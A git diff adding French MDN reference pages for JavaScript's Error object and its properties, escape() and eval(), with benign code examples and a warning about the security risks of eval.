+  constructor(machin = 'truc', ...params) {
+    // Passer les arguments restants (incluant ceux spécifiques au vendeur) au constructeur parent
+    super(...params);
+
+    // Maintenir dans la pile une trace adéquate de l'endroit où l'erreur a été déclenchée (disponible seulement en V8)
+    if(Error.captureStackTrace) {
+      Error.captureStackTrace(this, CustomError);
+    }
+    this.name = 'CustomError';
+    // Informations de déboguage personnalisées
+    this.machin = machin;
+    this.date = new Date();
+  }
+}
+
+try {
+  throw new CustomError('bidule', 'messageBidule');
+} catch(e){
+  console.log(e.name);    // CustomError
+  console.log(e.machin);  // bidule
+  console.log(e.message); // messageBidule
+  console.log(e.stack);   // stacktrace
+}
+ +

Objet d'erreur personnalisé ES5

+ +
+

Attention ! Tous les navigateurs incluent le constructeur CustomError dans la pile  d'appel lorsqu'une déclaration prototypale est utilisée.

+
+ +
function CustomError(machin, message, nomFichier, numeroLigne) {
+  var instance = new Error(message, nomFichier, numeroLigne);
+  instance.name = 'CustomError';
+  instance.machin = machin;
+  Object.setPrototypeOf(instance, Object.getPrototypeOf(this));
+  if(Error.captureStackTrace) {
+    Error.captureStackTrace(instance, CustomError);
+  }
+  return instance;
+}
+
+CustomError.prototype = Object.create(Error.prototype, {
+  constructor: {
+    value: Error,
+    enumerable: false,
+    writable: true,
+    configurable: true
+  }
+});
+
+if (Object.setPrototypeOf){
+  Object.setPrototypeOf(CustomError, Error);
+} else {
+  CustomError.__proto__ = Error;
+}
+
+
+try {
+  throw new CustomError('bidule', 'messageBidule');
+} catch(e){
+  console.log(e.name);       // CustomError
+  console.log(e.toto);       // bidule
+  console.log(e.message);    // messageBidule
+  console.log(e.lineNumber); // 29
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-error-objects', 'Error')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-15.11', 'Error')}}{{Spec2('ES5.1')}}
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype")}}
    • +
  • {{jsxref("Instructions/throw", "throw")}}
    • +
  • {{jsxref("Instructions/try...catch", "try...catch")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/error/linenumber/index.html b/files/fr/web/javascript/reference/global_objects/error/linenumber/index.html new file mode 100644 index 0000000000..8067f9d42e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/error/linenumber/index.html @@ -0,0 +1,51 @@ +--- +title: Error.prototype.lineNumber +slug: Web/JavaScript/Reference/Objets_globaux/Error/lineNumber +tags: + - Error + - JavaScript + - Non-standard + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error/lineNumber +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété lineNumber contient le numéro de la ligne qui a déclenché l'erreur dans le fichier.

+ +

Exemples

+ +

Utiliser lineNumber

+ +
var e = new Error("Ne peut pas lire la donnée");
+throw e;
+console.log(e.lineNumber) // 2
+ +

Alternative en utilisant l'événement error

+ +
window.addEventListener("error", function (e) {
+ console.log(e.lineNumber); //5
+});
+var e = new Error('Ne peut pas lire la donnée');
+throw e;
+ +

Spécifications

+ +

Ne fait partie d'aucune spécification. Non standard.

+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error.lineNumber")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype.stack")}} {{non-standard_inline}}
    • +
  • {{jsxref("Error.prototype.columnNumber")}} {{non-standard_inline}}
    • +
  • {{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/error/message/index.html b/files/fr/web/javascript/reference/global_objects/error/message/index.html new file mode 100644 index 0000000000..e8a680a0b6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/error/message/index.html @@ -0,0 +1,76 @@ +--- +title: Error.prototype.message +slug: Web/JavaScript/Reference/Objets_globaux/Error/message +tags: + - Error + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error/message +--- +
{{JSRef}}
+ +

La propriété message est une description de l'erreur, écrite pour être lue par un humain.

+ +

Description

+ +

La propriété contient une brève description de l'erreur si elle est accessible, ou si elle a été définie. SpiderMonkey utilise intensivement la propriété message pour les erreurs d'exécution. La propriété message, combinée à la propriété {{jsxref("Error.name", "name")}}, est utilisée par la méthode {{jsxref("Error.prototype.toString()")}} pour créer une représentation de l'erreur sous la forme d'une chaine de caractères.

+ +

Par défaut, la propriété message est une chaine de caractères vide, mais ce comportement peut être remplacé pour une instance, en renseignant un message comme premier argument du constructeur {{jsxref("Error")}}.

+ +

Exemples

+ +

Déclencher une erreur personnalisée

+ +
var e = new Error("Impossible de lire la donnée");
+// e.message est "Impossible de lire la donnée"
+throw e;
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-error.prototype.message', 'Error.prototype.message')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error.message")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype.name")}}
    • +
  • {{jsxref("Error.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/error/name/index.html b/files/fr/web/javascript/reference/global_objects/error/name/index.html new file mode 100644 index 0000000000..edbe9189ff --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/error/name/index.html @@ -0,0 +1,76 @@ +--- +title: Error.prototype.name +slug: Web/JavaScript/Reference/Objets_globaux/Error/name +tags: + - Error + - JavaScript + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error/name +--- +
{{JSRef}}
+ +

La propriété name est une chaîne de caractères représentant le nom du type d'erreur. La valeur initiale est "Error".

+ +

Description

+ +

Par défaut, les instances d'{{jsxref("Error")}} reçoivent le nom "Error". La propriété name, associée à la propriété {{jsxref("Error.message", "message")}}, est utilisée par la méthode {{jsxref("Error.prototype.toString()")}} pour créer une représentation de l'erreur sous la forme d'une chaine de caractères.

+ +

Exemples

+ +

Déclencher une erreur personnalisée

+ +
var e = new Error("Donnée malformée"); // e.name est "Error"
+
+e.name = "ParseError";
+throw e;
+// e.toString() renverra "ParseError: Donnée malformée"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-error.prototype.name', 'Error.prototype.name')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error.name")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype.message")}}
    • +
  • {{jsxref("Error.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/error/stack/index.html b/files/fr/web/javascript/reference/global_objects/error/stack/index.html new file mode 100644 index 0000000000..06c062dae2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/error/stack/index.html @@ -0,0 +1,124 @@ +--- +title: Error.prototype.stack +slug: Web/JavaScript/Reference/Objets_globaux/Error/Stack +tags: + - Error + - JavaScript + - Non-standard + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error/Stack +--- +
{{JSRef}} {{non-standard_header}}
+ +

La propriété non-standard stack des objets {{jsxref("Error")}} fournit une trace des fonctions qui ont été appelées, dans quel ordre, depuis quelle ligne de quel fichier, et avec quels arguments. La chaine de pile remonte des appels les plus récents jusqu'aux plus anciens, ramenant à l'appel original de la portée globale.

+ +

Description

+ +

Chaque étape sera séparée par une nouvelle ligne, la première partie de la ligne étant le nom de la fonction (si ce n'est pas un appel depuis la portée globale), suivi du signe arobase (@), de l'emplacement du fichier (sauf quand la fonction est le constructeur d'erreur lorsque l'erreur est déclenchée), de deux-points, et, s'il y a un emplacement de fichier, du numéro de ligne. (Notez que l'objet {{jsxref("Error")}} possède aussi les propriétés fileName, lineNumber et columnNumber pour leur récupération à partir de l'erreur déclenchée (mais seulement l'erreur, et pas sa trace)).

+ +

Notez que ceci est le format utilisé par Firefox. Il n'y a aucun formatage standard. Cependant Safari 6+ et Opera 12- utilisent un format très similaire. Les navigateurs utilisant le moteur JavaScript V8 (tel que Chrome, Opera 15+, Navigateur Android) et IE10+, utilisent un format différent (voir la documentation MSDN error.stack).

+ +

Valeurs des arguments dans la pile : avant Firefox 14 ({{bug("744842")}}), le nom d'une fonction étaient suivis par les valeurs des arguments converties en une chaine de caractères entre parenthèses, immédiatement avant le signe arobase (@). Tandis qu'un objet (ou un tableau, etc.) apparaissait sous la forme convertie "[object Object]", et en tant que tel, ne pouvait pas être réévalué en les objets réels, les valeurs scalaires pouvaient être récupérées (bien qu'il soit plus facile — c'est toujours possible dans Firefox 14 — d'utiliser arguments.callee.caller.arguments, tout comme le nom de la fonction pouvait être récupéré avec arguments.callee.caller.name). "undefined" est listé comme "(void 0)". Notez que si des arguments chaines de caractères étaient passés avec des valeurs comme "@", "(", ")" (ou si dans les noms de fichier), vous ne pouviez pas vous reposez facilement sur ceux-ci pour découper la ligne en les parties qui la composent. Par conséquent, dans Firefox 14 et ultérieur, ceci est moins un problème.

+ +

Les différents navigateurs définissent cette valeur à différents instants. Par exemple, Firefox la définit lors de la création d'un objet {{jsxref("Error")}}, tandis que PhantomJS ne la définit que lors du déclenchement de l'{{jsxref("Error")}}, et la documentation MSDN semble correspondre à l'implémentation PhantomJS.

+ +

Exemples

+ +

Le code HTML suivant démontre l'utilisation de la propriété stack.

+ +
<!DOCTYPE HTML>
+<meta charset="UTF-8">
+<title>Exemple de Trace de Pile</title>
+<body>
+    <script>
+        function trace() {
+            try {
+                throw new Error('monError');
+            }
+            catch(e) {
+                alert(e.stack);
+            }
+        }
+        function b() {
+            trace();
+        }
+        function a() {
+            b(3, 4, "\n\n", undefined, {});
+        }
+        a("premier appel, premierarg");
+    </script>
+
+ +

En supposant que ce code a été enregistré comme C:\exemple.html sur un système de fichier Windows, il produira un message d'alerte dans une nouvelle fenêtre avec le texte suivant :

+ +

À partir de Firefox 30 et ultérieur, ce message contiendra le numéro de colonne  ({{bug(762556)}}) :

+ +
trace@file:///C:/exemple.html:9:17
+b@file:///C:/exemple.html:16:13
+a@file:///C:/exemple.html:19:13
+@file:///C:/exemple.html:21:9
+ +

De Firefox 14 à Firefox 29 :

+ +
trace@file:///C:/exemple.html:9
+b@file:///C:/exemple.html:16
+a@file:///C:/exemple.html:19
+@file:///C:/exemple.html:21
+
+ +

Firefox 13 et antérieur aurait produit à la place le texte suivant :

+ +
Error("monError")@:0
+trace()@file:///C:/exemple.html:9
+b(3,4,"\n\n",(void 0),[object Object])@file:///C:/exemple.html:16
+a("premier appel, premierarg")@file:///C:/exemple.html:19
+@file:///C:/exemple.html:21
+
+ +

Pile d'un code evalué

+ +

À partir de Firefox 30 {{geckoRelease("30")}}, la pile d'erreur du code dans les appels à Function() et eval() produit désormais des piles avec des informations plus détaillées sur les numéros de lignes et de colonnes dans ces appels. Les appels de fonction sont indiqués par "> Function" et les appels d'eval par "> eval". Voir {{bug("332176")}}.

+ +
try {
+  new Function('throw new Error()')();
+} catch (e) {
+  console.log(e.stack);
+}
+
+// anonymous@file:///C:/exemple.html line 7 > Function:1:1
+// @file:///C:/exemple.html:7:6
+
+try {
+  eval("eval('ÉCHEC')");
+} catch (x) {
+  console.log(x.stack);
+}
+
+// @file:///C:/exemple.html line 7 > eval line 1 > eval:1:1
+// @file:///C:/exemple.html line 7 > eval:1:1
+// @file:///C:/exemple.html:7:6
+ +

Vous pouvez aussi utiliser la directive //# sourceURL pour nommer une source eval. Voir aussi Déboguer des sources évaluées dans les docs Débogueur, ainsi que ce blog post.

+ +

Spécifications

+ +

Ne fait partie d'aucune spécification. Non-standard.

+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error.stack")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/error/tosource/index.html b/files/fr/web/javascript/reference/global_objects/error/tosource/index.html new file mode 100644 index 0000000000..701364ed74 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/error/tosource/index.html @@ -0,0 +1,55 @@ +--- +title: Error.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/Error/toSource +tags: + - Error + - JavaScript + - Méthode + - Non-standard + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error/toSource +--- +
{{JSRef}} {{non-standard_header}}
+ +

La méthode toSource() renvoie le code source qui peut générer la même erreur.

+ +

Syntaxe

+ +
e.toSource()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui contient le code source de l'erreur.

+ +

Description

+ +

Appeler la méthode toSource() d'une instance {{jsxref("Error")}} (Erreurs natives incluses) renverra le code source de l'erreur. Cette chaine de caractères peut être évaluée afin de créer un objet similaire. La chaine de caractères contenant le code source suit la structure du constructeur Error. Par exemple :

+ +
(new name(message ,fileName, lineNumber))
+ +

où ces attributs correspondent aux propriétés respectives de l'instance Error.

+ +
Note : Les propriétés utilisées par la méthode toSource() dans la création de cette chaine de caractères sont mutables et peuvent ne pas refléter correctement la fonction utilisée pour créer une instance d'erreur ou le nom du fichier ou la ligne à laquelle s'est produite l'erreur originale.
+ +

Spécifications

+ +

Ne fait partie d'aucun standard. Implémentée dans JavaScript 1.3.

+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error.toSource")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}
    • +
  • {{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}
    • +
  • {{jsxref("Error.prototype.message")}}
    • +
  • {{jsxref("Error.prototype.name")}}
    • +
  • {{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/error/tostring/index.html b/files/fr/web/javascript/reference/global_objects/error/tostring/index.html new file mode 100644 index 0000000000..f117af3440 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/error/tostring/index.html @@ -0,0 +1,112 @@ +--- +title: Error.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/Error/toString +tags: + - Error + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Error/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une représentation de l'objet {{jsxref("Error")}} sous la forme d'une chaine de caractères.

+ +

Syntaxe

+ +
e.toString()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant l'objet {{jsxref("Error")}}.

+ +

Description

+ +

L'objet {{jsxref("Error")}} surcharge la méthode {{jsxref("Object.prototype.toString()")}} héritée par tous les objets. Sa sémantique est la suivante (en partant du principe que {{jsxref("Object")}} et {{jsxref("String")}} ont leurs valeurs originales) :

+ +
Error.prototype.toString = function () {
+  "use strict";
+
+  var obj = Object(this);
+  if (obj !== this)
+    throw new TypeError();
+
+  var name = this.name;
+  name = (name === undefined) ? "Error" : String(name);
+
+  var msg = this.message;
+  msg = (msg === undefined) ? "" : String(msg);
+
+  if (name === "")
+    return msg;
+  if (msg === "")
+    return name;
+
+  return name + ": " + msg;
+};
+
+ +

Exemples

+ +
var e = new Error("Erreur fatale");
+console.log(e.toString()); // "Error: Erreur fatale"
+
+e.name = undefined;
+console.log(e.toString()); // "Error: Erreur fatale"
+
+e.name = "";
+console.log(e.toString()); // "Erreur fatale"
+
+e.message = undefined;
+console.log(e.toString()); // ""
+
+e.name = "salut";
+console.log(e.toString()); // "salut"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11.4.4', 'Error.prototype.toString')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Error.toString")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/escape/index.html b/files/fr/web/javascript/reference/global_objects/escape/index.html new file mode 100644 index 0000000000..e66c4ab923 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/escape/index.html @@ -0,0 +1,97 @@ +--- +title: escape() +slug: Web/JavaScript/Reference/Objets_globaux/escape +tags: + - Deprecated + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/escape +--- +
{{jsSidebar("Objects")}}
+ +
Attention ! Bien que escape(…) ne soit pas strictement obsolète (au sens où elle n'a pas été retirée des standards), elle est définie au sein de l'Annexe B du standard ECMA-262 qui commence par : + +
… L'ensemble des fonctionnalités et comportements définis dans cette annexe possède une ou plusieurs caractéristiques indésirables. En l'absence d'une utilisation historique, ces fonctionnalités seraient retirés de la spécification. …
+… Les développeurs ne devraient pas utiliser ces fonctionnalités et comportements ou présupposer qu'elles existent lors de l'écriture de nouveau code ECMAScript. …
+
+ +

La fonction escape() permet de renvoyer une nouvelle chaîne de caractères dont certains caractères ont été remplacés par leur séquence d'échappement hexadécimale. Cette méthode est obsolète et il est donc conseillé d'utiliser {{jsxref("encodeURI")}} ou {{jsxref("encodeURIComponent")}} à la place.

+ +
+

Note : Cette fonction pouvait être utilisée pour l'encodage de fragment de requêtes d'URL. Si on souhaite remplacer des caractères par leur séquence d'échappement correcte (avec %20 par exemple), on pourra utiliser decodeURIComponent.

+
+ +

Syntaxe

+ +
escape(str)
+ +

Paramètres

+ +
+
str
+
Une chaîne de caractères à encoder.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères dont certains caractères ont été échappés.

+ +

Description

+ +

La fonction escape est une propriété de l'objet global. Les caractères spéciaux, sauf @*_+-./, seront encodés.

+ +

La forme hexadécimale des caractères dont la valeur du codet est inférieure à 0xFF sera représentée sur deux chiffres : %xx. Pour les caractères avec un code supérieur, quatre chiffres seront utilisés avec le format suivant %uxxxx.

+ +

Exemples

+ +
escape("abc123");     // "abc123"
+escape("äöü");        // "%E4%F6%FC"
+escape("ć");          // "%u0107"
+
+// caractères spéciaux
+escape("@*_+-./");    // "@*_+-./"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}{{Spec2('ES5.1')}}Définie dans l'annexe B (informative) sur la compatibilité.
{{SpecName('ES6', '#sec-escape-string', 'escape')}}{{Spec2('ES6')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.
{{SpecName('ESDraft', '#sec-escape-string', 'escape')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.escape")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("encodeURI")}}
    • +
  • {{jsxref("encodeURIComponent")}}
    • +
  • {{jsxref("unescape")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/eval/index.html b/files/fr/web/javascript/reference/global_objects/eval/index.html new file mode 100644 index 0000000000..06a37511f5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/eval/index.html @@ -0,0 +1,281 @@ +--- +title: eval() +slug: Web/JavaScript/Reference/Objets_globaux/eval +tags: + - Attention + - JavaScript + - Méthode + - Reference + - eval +translation_of: Web/JavaScript/Reference/Global_Objects/eval +--- +
{{jsSidebar("Objects")}}
+ +

La fonction eval() permet d'évaluer du code JavaScript représenté sous forme d'une chaîne de caractères.

+ +
+

Avertissement : L'exécution de JavaScript à partir d'une chaîne de caractères constitue un risque de sécurité énorme. Il est beaucoup trop facile pour un mauvais acteur d'exécuter du code arbitraire lorsque vous utilisez eval(). Voir la section N'utilisez eval() qu'en dernier recours ! ci-dessous.

+
+ +
{{EmbedInteractiveExample("pages/js/globalprops-eval.html")}}
+ + + +

Syntaxe

+ +
eval(str)
+ +

Paramètres

+ +
+
str
+
Une chaîne de caractères qui représente une expression JavaScript ou une instruction ou une suite d'instructions JavaScript. L'expression utilisée peut contenir des variables et des propriétés d'objets existants.
+
+ +

Valeur de retour

+ +

La valeur de terminaison du code fourni en argument. Si la valeur de terminaison est vide, c'est la valeur {{jsxref("undefined")}} qui est renvoyée.

+ +

Description

+ +

eval() est une fonction rattachée à l'objet global.

+ +

eval() prend en compte un argument qui est une chaîne de caractères. Si cette chaîne représente une expression, eval() évaluera l'expression. Si l'argument utilisé représente une ou plusieurs instructions JavaScript, eval() évaluera les instructions. eval() ne doit pas être utilisé pour évaluer une expression arithmétique. En effet, JavaScript évalue automatiquement les expressions arithmétiques.

+ +

Si on construit une expression arithmétique sous la forme d'une chaîne de caractères, on peut utiliser eval() pour évaluer cette expression par la suite. Ainsi, si on a une variable x, on peut préparer une expression à utiliser plus tard en construisant la chaîne "3 * x + 2" par exemple. Au moment où on souhaite procéder à l'évaluation, on appellera eval() avec cette chaîne de caractères.

+ +

Si l'argument passé à eval() n'est pas une chaîne de caractères, eval() renverra l'argument inchangé. Dans l'exemple qui suit, on utilise le constructeur String, eval() renvoie donc un objet String au lieu d'évaluer la chaîne de caractères correspondante.

+ +
eval(new String("2 + 2")); // renvoie un objet String contenant "2 + 2"
+eval("2 + 2");             // renvoie 4
+
+ +

Ce comportement peut être résolu de façon générique en utilisant la méthode toString().

+ +
var expression = new String("2 + 2");
+eval(expression.toString());
+
+ +

Si la fonction  eval est utilisée de manière indirecte, en l'invoquant par une référence autre que eval, cela fonctionnera avec une portée globale plutôt que locale (d'après ECMASCript 5). Par exemple, les déclarations de fonctions vont créer des fonctions globales et le code en cours d'évaluation n'aura pas accès aux variables locales déclarées avec la même portée que là où la fonction eval est appelée.

+ +
function test() {
+  var x = 2, y = 4;
+  console.log(eval("x + y"));  // Appel direct, portée locale, résultat de 6
+  var geval = eval;
+  console.log(geval("x + y")); // Appel indirect, portée globale, lance une exception ReferenceError car `x` n'est pas défini
+  (0, eval)('x + y'); // un autre exemple d'appel indirect.
+}
+ +

N'utiliser eval() qu'en dernier recours !

+ +

eval() est une fonction dangereuse qui exécute le code passé en argument avec les privilèges de l'environnement appelant. Si eval() est utilisée avec une chaîne construite de façon mal intentionnée, cela pourra entraîner l'exécution d'un code malveillant sur la machine de l'utilisateur avec les permissions données au site ou au module complémentaire. À un niveau encore plus critique, du code tiers pourrait ainsi consulter la portée dans laquelle eval() a été invoquée. Cela peut permettre des attaques qui n'auraient pas été rendues possible en utilisant un objet {{jsxref("Function")}}.

+ +

eval() est également plus lente que les méthodes alternatives. En effet, l'évaluation nécessite de faire appel à l'interpréteur JavaScript alors que de nombreuses structures sont optimisées par les moteurs JavaScript modernes.

+ +

Dans de nombreux cas, il existe des alternatives plus sûres et plus performantes à eval().

+ +

De plus, les moteurs JavaScript modernes convertissent le code JavaScript en code machine. Les notions relatives aux noms des variables sont donc transformées. Utiliser eval() force le navigateur à enregistrer puis à rechercher parmi les noms existants afin de retrouver les variables. Si besoin, on peut utiliser le constructeur Function :

+ +

Avec eval() :

+ +
function looseJsonParse(obj){
+    return eval("(" + obj + ")");
+}
+console.log(looseJsonParse(
+   "{a:(4-1), b:function(){}, c:new Date()}"
+))
+
+ +

Avec Function :

+ +
function looseJsonParse(obj){
+    return Function('"use strict";return (' + obj + ')')();
+}
+console.log(looseJsonParse(
+   "{a:(4-1), b:function(){}, c:new Date()}"
+))
+
+ +

Dans le premier cas, l'évaluation de c: new Date() sera beaucoup plus lente car Date peut faire référence à une variable déclarée avant. Dans le second cas, la fonction est évaluée dans la portée globale et le moteur peut donc utiliser {{jsxref("Date")}} directement.

+ +

Autrement dit, dans le premier cas, on aurait pu avoir un code comme :

+ +
function Date(n){
+    return ["Monday","Tuesday","Wednesday","Thursaday","Friday","Saturday","Sunday"][n%7 || 0];
+}
+function looseJsonParse(obj){
+    return eval("(" + obj + ")");
+}
+console.log(looseJsonParse(
+   "{a:(4-1), b:function(){}, c:new Date()}"
+))
+
+ +

Auquel cas, le navigateur doit effectuer une recherche coûteuse afin de vérifier s'il y a des variables locales Date.

+ +

Pour obtenir un résultat identique, on peut tout à fait se passer d'eval() :

+ +
function Date(n){
+    return ["Monday","Tuesday","Wednesday","Thursaday","Friday","Saturday","Sunday"][n%7 || 0];
+}
+function runCodeWithDateFunction(obj){
+    return Function('"use strict";return (' + obj + ')')()(
+        Date
+    );
+}
+console.log(runCodeWithDateFunction(
+   "function(Date){ return Date(5) }"
+))
+
+ +

1. Le code passé à runCodeWithDateFunction peut être minifié.

+ +

2. Le surcoût lié à un appel de fonction est léger

+ +

3. Function() permet d'utiliser  "use strict"; (qui peut également aider à améliorer les performances).

+ +

Enfin, pour la plupart des cas, on doit pouvoir éviter de passer par

+ +

eval() ou Function() !

+ +

Accéder aux propriétés d'un objet

+ +

eval() ne doit pas être utilisée pour convertir des noms de propriétés en propriétés. Par exemple, lorsqu'on ne sait pas quelle propriété va être consultée avant l'exécution, on pourrait utiliser :

+ +
var obj = { a: 20, b: 30 };
+var nomPropriété = getNomProp();  //une méthode qui renvoie "a" ou "b"
+
+eval( "var résultat = obj." + nomPropriété );
+
+ +

Cependant, eval() n'est pas du tout nécessaire. Il est beaucoup plus simple, plus sécurisé, plus rapide, d'utiliser les accesseurs de propriétés :

+ +
var obj = { a: 20, b: 30 };
+var nomPropriété = getNomProp();  // une méthode qui renvoie  "a" or "b"
+var résultat = obj[nomPropriété]; //  obj[ "a" ] correspond à obj.a
+
+ +

Utiliser des fonctions au lieu de morceaux de code

+ +

Les fonctions JavaScript sont des citoyens de premier rang du langage, cela signifie que les fonctions peuvent être passées comme arguments aux autres API, qu'elles peuvent être stockées dans des variables, dans des propriétés d'objets, etc. De nombreuses API pour le DOM fonctionnent en prenant en argument des fonctions :

+ +
// au lieu de setTimeout(" ... ", 1000) on utilisera :
+setTimeout(function() { ... }, 1000);
+
+// au lieu de elt.setAttribute("onclick", "...") on utilisera :
+elt.addEventListener("click", function() { ... } , false);
+ +

Les fermetures (closures) sont utiles lorsqu'on souhaite obtenir des fonctions paramétrées sans avoir à concaténer des chaînes de caractères.

+ +

Convertir des chaînes JSON en objets JavaScript (parsing)

+ +

Si la chaîne utilisée avec eval() contient des données (par exemple, un tableau : "[1, 2, 3]") et non du code, il est conseillé d'utiliser du {{Glossary("JSON")}}, qui permet de représenter un sous-ensemble des données représentables en JavaScript.

+ +

On notera que la syntaxe JSON est limitée relativement à la syntaxe JavaScript. De nombreux littéraux JavaScript ne pourront être parsés en JSON (par exemple, les virgules à la fin des instructions ne seront pas autorisées et les noms de propriétés devront être compris entre simples quotes). Il est souvent préférable d'utiliser un outil de sérialisation JSON pour que les chaînes générées puissent être analysée en JSON.

+ +

Transmettre des données et non du code

+ +

Si on a par exemple une extension conçue pour parcourir le code d'une page web, on pourra transmettre des données XPath au lieu d'un code JavaScript.

+ +

Exécuter du code avec des privilèges restreints

+ +

S'il faut nécessairement exécuter du code, il faut le faire avec des privilèges restreints. Cela s'applique généralement aux modules complémentaires ou aux applications XUL. Pour cela, on pourra utiliser Components.utils.evalInSandbox.

+ +

Exemples

+ +

Utiliser eval()

+ +

Dans le code suivant, les deux instructions passées à eval() sous la forme d'une chaîne renvoient 42. La première évaluation porte sur la chaîne "x + y + 1" ; la seconde évaluation porte sur la chaîne de caractères "42".

+ +
var x = 2;
+var y = 39;
+var z = "42";
+eval("x + y + 1"); // renvoie 42
+eval(z);           // renvoie 42
+
+ +

Utiliser eval() pour une chaîne d'instructions

+ +

Dans l'exemple qui suit, eval() est utilisée pour évaluer la chaîne de caractères str. Cette chaîne contient plusieurs instructions JavaScript qui affichent un message dans la console et qui affectent la valeur 42 à la variable z si x vaut cinq et 0 sinon. Lorsque la seconde instruction est exécutée, eval() entraînera l'exécution des instructions, les instructions seront évaluées et la valeur de z sera donc renvoyée.

+ +
var x = 5;
+var str = "if (x == 5) {console.log('z vaut 42'); z = 42;} else z = 0; ";
+console.log("z vaut "+eval(str));
+
+ +

Le résultat d'eval() est celui de la dernière expression

+ +

eval() renvoie la valeur de la dernière expression évaluée :

+ +
var str = "if ( a ) { 1+1; } else { 1+2; }";
+var a = true;
+var b = eval(str);  // renvoie 2
+
+console.log("b vaut : " + b);
+
+a = false;
+b = eval(str);      // renvoie 3
+
+console.log("b vaut : " + b);
+ +

eval() et les fonctions

+ +

